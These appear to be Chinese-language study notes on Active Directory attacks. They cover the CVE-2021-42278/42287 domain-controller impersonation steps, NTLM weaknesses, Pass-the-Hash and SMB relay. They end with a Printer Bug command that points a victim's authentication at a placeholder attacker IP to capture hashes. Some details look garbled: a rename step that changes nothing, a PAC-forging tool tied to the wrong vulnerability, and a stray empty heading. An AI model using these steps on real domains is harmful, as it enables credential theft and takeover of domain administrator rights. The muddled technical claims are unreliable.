CVE-2021-42278/42287 漏洞利用
-
漏洞原理
- 42278:通过修改计算机账户的
sAMAccountName
(如去掉$
),伪装成域控制器(DC)名称,欺骗KDC生成高权限TGT。 - 42287:KDC在验证TGT时若找不到匹配的计算机账户,会回退到域控制器的SPN匹配逻辑,返回域管理员票据。
- 42278:通过修改计算机账户的
-
利用步骤
- 步骤1:修改计算机账户名为无
$
的DC名称(如DC01
→DC01
)。 - 步骤2:请求TGT,此时KDC生成无PAC的TGT(因名称不匹配)。
- 步骤3:用工具(如 pykek)伪造PAC,注入到TGS请求的
enc-authorization-data
字段。 - 步骤4:通过 S4U2Self 或 Pass-the-Ticket(如Mimikatz)获取域管理员权限。
- 步骤1:修改计算机账户名为无
-
关键协议与工具
- LDAP:用于修改计算机属性(如
sAMAccountName
)。 - CFS(CIFS):通过伪造的ST访问域控共享文件(如
\\DC01\C$
)。 - pykek:生成恶意PAC,伪造组SID(如将普通用户加入
Domain Admins
)。
- LDAP:用于修改计算机属性(如
日志分析
NTLM 协议
基本特性
- 定义:NTLM(NT LAN Manager)是一种基于挑战-响应机制的身份认证协议,依赖其他协议(如SMB)传输。
- 版本演进:
- NTLMv1:安全性低,密码不区分大小写,易受暴力破解和中间人攻击(如PTH攻击)。
- NTLMv2:引入MD5摘要算法增强安全性,但仍未使用对称加密,存在局限性。
- 弃用原因:
- 密码长度限制(最大14字符)。
- 不区分大小写,哈希易被破解(如彩虹表攻击)。
- 无法防御中继攻击(Relay Attack)。
攻击利用
- Pass-the-Hash (PTH):通过捕获用户哈希绕过密码验证,直接访问资源。
- SMB Relay:通过中间人攻击将认证请求中继到其他服务器。
- Printer Bug:利用打印机服务(MS-RPRN)触发认证请求,获取NTLM哈希。
PTH Relay 攻击原理
PTH Relay 是 NTLM 协议 的衍生攻击技术,核心逻辑为:
- 利用中继(Relay):攻击者截获受害者的 NTLM 认证流量(如SMB、HTTP等),将其转发至目标服务器,冒充受害者身份完成认证。
- 无需破解密码:直接使用捕获的 NTLM Hash 或 Net-NTLMv2 Hash 进行身份验证。
关键依赖条件:
- 目标服务启用 NTLM 认证(如SMB、LDAP、HTTP等)。
- 目标服务器未启用 SMB签名(默认域控启用,但普通服务器可能未启用)。
捕获 Hash
- 通过 打印机漏洞(Printer Bug) 诱使受害者发起NTLM认证,捕获其 Net-NTLMv2 Hash。
python printerbug.py test.com/user@attacker_ip